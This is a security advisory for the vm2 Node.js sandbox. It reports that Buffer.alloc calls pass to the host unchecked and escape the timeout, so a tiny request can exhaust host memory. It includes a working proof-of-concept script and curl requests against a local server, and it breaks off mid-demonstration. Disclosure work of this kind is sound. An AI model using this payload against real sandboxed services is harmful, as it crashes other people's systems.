GHSA-6785-pvv7-mvg7

Summary

Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.

Details

In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.

Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)):

• JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works
• Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt

This means:

1. timeout: 5000 does NOT protect against this attack
2. A single call allocates the entire requested size at once
3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash

Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect

// Control test — JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

HTTP demonstration (OOM crash):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}

# 2. Send Buffer.alloc payload — process crashes with...